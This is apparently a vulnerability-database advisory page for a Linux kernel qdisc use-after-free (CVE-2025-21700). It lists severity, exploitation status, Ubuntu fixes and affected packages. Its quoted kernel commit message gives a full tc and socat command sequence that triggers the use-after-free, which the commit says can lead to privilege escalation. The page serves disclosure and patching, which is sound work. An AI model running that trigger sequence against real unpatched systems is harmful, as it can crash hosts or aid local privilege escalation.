CVE-2025-21700: Linux kernel · net: sched: Disallow replacing of child qdisc from one parent to another
Affects Linux kernelSource GCVE Database
Not known to be exploited · CVSS 7.8 High · fixed in 4.4.0-1142.148 : patch Linux kernel soon.
Data as of 28 Oct 2026, 11:14 UTC
- Patch
- Available – fixed in 4.4.0-1142.148, 4.15.0-1187.202~14.04.1, 4.4.0-267.301~14.04.1 +105
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HExploitation evidence
Disclosed: evidence found.
CVE published 13 Feb 2025
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade to a fixed release listed under Affected software.
Patches and advisories
- ubuntu.com/security/notices/USN-7428-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7429-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7428-2 (opens in a new tab)
- ubuntu.com/security/notices/USN-7429-2 (opens in a new tab)
- ubuntu.com/security/notices/USN-7445-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7448-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7449-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7450-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7451-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7452-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7453-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7455-1 (opens in a new tab)
Affected software
| Product | Affected | Fixed in |
|---|---|---|
Ubuntu 24.04 LTSlinuxpkg:deb/ubuntu/linux?arch=source&distro=nobleOther threats | Affected
| Fixed in
|
Ubuntu 24.04 LTSlinux-awspkg:deb/ubuntu/linux-aws?arch=source&distro=nobleOther threats | Affected
| Fixed in
|
Ubuntu 24.04 LTSlinux-azurepkg:deb/ubuntu/linux-azure?arch=source&distro=nobleOther threats | Affected
| Fixed in
|
Ubuntu 24.04 LTSlinux-azure-6.11pkg:deb/ubuntu/linux-azure-6.11?arch=source&distro=nobleOther threats | Affected
| Fixed in
|
Ubuntu 24.04 LTSlinux-azure-nvidiapkg:deb/ubuntu/linux-azure-nvidia?arch=source&distro=nobleOther threats | Affected
| Fixed in
|
Ubuntu 24.04 LTSlinux-gcppkg:deb/ubuntu/linux-gcp?arch=source&distro=nobleOther threats | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>
References
- ubuntu.com/security/CVE-2025-21700 (opens in a new tab)
- cve.org/CVERecord?id=CVE-2025-21700 (opens in a new tab)
- git.kernel.org/stable/c/46c59ec33ec98aba20c15117630cae43a01404cc (opens in a new tab)
- git.kernel.org/stable/c/73c7e1d6898ccbeee126194dcc05f58b8a795e70 (opens in a new tab)
- git.kernel.org/stable/c/7e2bd8c13b07e29a247c023c7444df23f9a79fd8 (opens in a new tab)
- git.kernel.org/stable/c/bc50835e83f60f56e9bec2b392fb5544f250fb6f (opens in a new tab)
- ubuntu.com/security/notices/USN-7428-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7429-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7428-2 (opens in a new tab)
- ubuntu.com/security/notices/USN-7429-2 (opens in a new tab)
- ubuntu.com/security/notices/USN-7445-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7448-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7449-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7450-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7451-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7452-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7453-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7455-1 (opens in a new tab)
- ubuntu.com/security/notices/USN-7455-2 (opens in a new tab)
- ubuntu.com/security/notices/USN-7455-3 (opens in a new tab)